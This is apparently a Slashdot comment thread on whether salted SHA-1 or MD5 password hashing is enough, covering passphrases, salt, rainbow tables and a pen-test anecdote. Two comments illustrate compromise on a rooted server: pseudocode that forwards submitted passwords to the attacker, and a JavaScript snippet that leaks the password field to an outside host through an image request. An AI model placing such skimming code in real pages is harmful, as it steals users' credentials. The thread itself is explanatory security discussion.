Are You Sure SHA-1+Salt Is Enough For Passwords? 409
Melchett writes "It's all too common that Web (and other) applications use MD5, SHA1, or SHA-256 to hash user passwords, and more enlightened developers even salt the password. And over the years I've seen heated discussions on just how salt values should be generated and on how long they should be.
Unfortunately in most cases people overlook the fact that MD and SHA hash families are designed for computational speed, and the quality of your salt values doesn't really matter when an attacker has gained full control, as happened with rootkit.com. When an attacker has root access, they will get your passwords, salt, and the code that you use to verify the passwords."
The problem is people (Score:4, Interesting)
Like TFA says, worry more about the passwords people choose. It doesn't matter if you use SHA-1, MD5, or an HMAC, if the idiot types "password" for his password, it's going to be discovered on the first loop of anyone's "common passwords" list.
One way to get people to comply better is simply to refer to it as a "passphrase" instead of a "password". Maybe enforce "three word minimum" or something. Even if they just use a line from a movie, it's increased the search space dramatically over a single word.
Are MD and SHA easily reversible? (Score:5, Interesting)
I don't get it - surely it shouldn't matter if someone gains access to the password verification routine, the salt and the encrypted passwords... unless the password hashing/encryption is easily reversible?
They've still got to try and brute force match the encrypted data with a dictionary attack - sure, having the salt makes it easier - but if you've got the salt and the encrypted passwords it doesn't matter what encryption algorithm is used, you've still got to use a brute force dictionary attack. Most encryption algorithms aren't easily reversible - and that's the whole point.
Re:They don't necessarily get the salt (Score:3, Interesting)
Not if you encrypt the salt using the password.
The whole point of salt is to mitigate a dictionary attack. With your approach it would only take one dictionary attack to obtain the salt, and then another one (using the obtained salt) to obtain the password. Thus, you have merely doubled the amount of computation required to obtain the password. In most security philosophies, increasing the required computation by a polynomial factor does not make it more secure.
Who cares what method? (Score:4, Interesting)
The box is rooted, nothing you do matters. Just change the code...
CHANGE:
string pass = request("userspass")
if UNBREAKABLYGOODHASH(pass, salthash) = RetrieveSaltedDBpasshash(username) {
UserAuthenticated
}
TO:
string pass = request("userspass")
SendTheHackerThePassword(pass)
if UNBREAKABLYGOODHASH(pass, salthash) = RetrieveSaltedDBpasshash(username) {
UserAuthenticated
}
And you're done... Just wait for the passwords to come rolling in.
Any rooted machine that handles the user's actual password can be coerced into giving it up. So limit what machines see that password. Have your web client hash the password before if goes to the host (even when it's a secure connection). That would help, though the client machines should be easiest to hack, but at least it takes longer to get the right password.
Re:Who cares what method? (Score:4, Interesting)
Oh, the browser hashes the password. // could use onload or any other fancy technique ...
And the box is rooted?
Put your code here:
<head>
<title>super secure website</title>
</head>
<body>
<script>
function doit() {
document.write("<img src='http://senthehackerthepassword.com/"+form.password.value+"'>"
}
settimeout("doit()",5000)
</script>
Re:Wait, what? (Score:2, Interesting)
I recently was tasked to oversee a pen test by a person who had a connection back to his head office where he had about 320GB of rainbow tables set up that he had created previously. The company he represented is a big audit firm and you would know the pen tester's name if you heard it.
He had broken into one of the servers and retrieved the password hashes. One of the passwords turned out to be a 16-character password made of 2 dictionary words with a non-letter character between the 2 words. Keepass 1.18 showed over 70 bits of "Quality" for that password, so it wasn't a joke password.
He cracked it using the tables in less than 3 seconds.
After I picked up my jaw from the floor, I made a note to go home and change ALL my passwords to be more secure. However I can't help but think that the day of the password is over and we are going to have to come up with something a lot better for authentication on the Internet and in enterprises.